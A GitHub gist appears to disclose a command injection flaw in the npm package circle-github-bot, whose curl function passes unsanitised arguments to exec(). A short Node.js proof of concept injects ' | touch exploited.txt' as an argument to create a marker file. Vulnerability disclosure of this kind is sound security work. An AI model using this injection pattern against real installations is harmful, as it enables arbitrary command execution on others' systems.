Skip to content

Instantly share code, notes, and snippets.

@mcoimbra
Last active November 29, 2023 19:01
Show Gist options
  • Save mcoimbra/d7aeac99f93d80354d849cd0120f5e0b to your computer and use it in GitHub Desktop.
Save mcoimbra/d7aeac99f93d80354d849cd0120f5e0b to your computer and use it in GitHub Desktop.
Package circle-github-bot: The call to function curl (#28) in src/dist/index.js does not sanitize the parameters passed to exec(), enabling the injection of something like " | touch exploit.txt".
'use strict'
const pkg = require('circle-github-bot');
const i = new pkg();
i.env = {};
// This will create a local 'exploited.txt' file.
i.curl('', ' | touch exploited.txt', '');
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment